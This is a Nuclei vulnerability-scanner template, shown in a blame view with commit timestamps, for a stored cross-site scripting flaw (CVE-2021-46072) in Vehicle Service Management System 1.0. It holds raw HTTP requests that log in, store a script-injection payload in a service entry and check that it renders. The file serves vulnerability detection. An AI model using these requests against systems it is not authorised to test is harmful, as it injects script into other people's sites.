nuclei-templates/cves/2021/CVE-2021-46072.yaml

52 lines
1.8 KiB
YAML
Raw Normal View History

2022-08-31 15:35:41 +00:00
id: CVE-2021-46072
2022-08-31 18:26:19 +00:00
2022-08-31 15:35:41 +00:00
info:
2022-08-31 18:26:19 +00:00
name: Vehicle Service Management System - Stored Cross Site Scripting
2022-08-31 15:35:41 +00:00
author: TenBird
2022-08-31 18:26:19 +00:00
severity: medium
description: |
A Stored Cross Site Scripting (XSS) vulnerability exists in Vehicle Service Management System 1.0 via the Service List Section in login panel.
2022-08-31 15:35:41 +00:00
reference:
2022-08-31 18:26:19 +00:00
- https://github.com/plsanu/Vehicle-Service-Management-System-Service-List-Stored-Cross-Site-Scripting-XSS
- https://www.plsanu.com/vehicle-service-management-system-service-list-stored-cross-site-scripting-xss
2022-09-01 07:39:57 +00:00
- https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html
2022-08-31 15:35:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-46072
classification:
cve-id: CVE-2021-46072
2022-09-01 07:39:57 +00:00
metadata:
verified: true
2022-08-31 18:26:19 +00:00
tags: cve,cve2021,xss,vms,authenticated
2022-08-31 15:35:41 +00:00
requests:
- raw:
- |
2022-09-01 14:04:51 +00:00
POST /classes/Login.php?f=login HTTP/1.1
2022-08-31 15:35:41 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2022-08-31 16:16:26 +00:00
2022-08-31 15:35:41 +00:00
username={{username}}&password={{password}}
- |
2022-09-01 14:04:51 +00:00
POST /classes/Master.php?f=save_service HTTP/1.1
2022-08-31 15:35:41 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-31 16:16:26 +00:00
2022-08-31 15:35:41 +00:00
id=&service=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&description=%3cp%3e%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e%3cbr%3e%3c%2fp%3e&status=1
2022-08-31 16:18:29 +00:00
2022-08-31 15:35:41 +00:00
- |
2022-09-01 14:04:51 +00:00
GET /admin/?page=maintenance/services HTTP/1.1
2022-08-31 15:35:41 +00:00
Host: {{Hostname}}
2022-08-31 18:26:19 +00:00
req-condition: true
2022-08-31 15:35:41 +00:00
redirects: true
2022-08-31 18:26:19 +00:00
max-redirects: 2
2022-08-31 15:35:41 +00:00
cookie-reuse: true
matchers-condition: and
matchers:
2022-08-31 18:26:19 +00:00
- type: dsl
dsl:
- "contains(all_headers_3, 'text/html')"
- "status_code_3 == 200"
- 'contains(body_3, "<td>\"><script>alert(document.domain)</script></td>")'
condition: and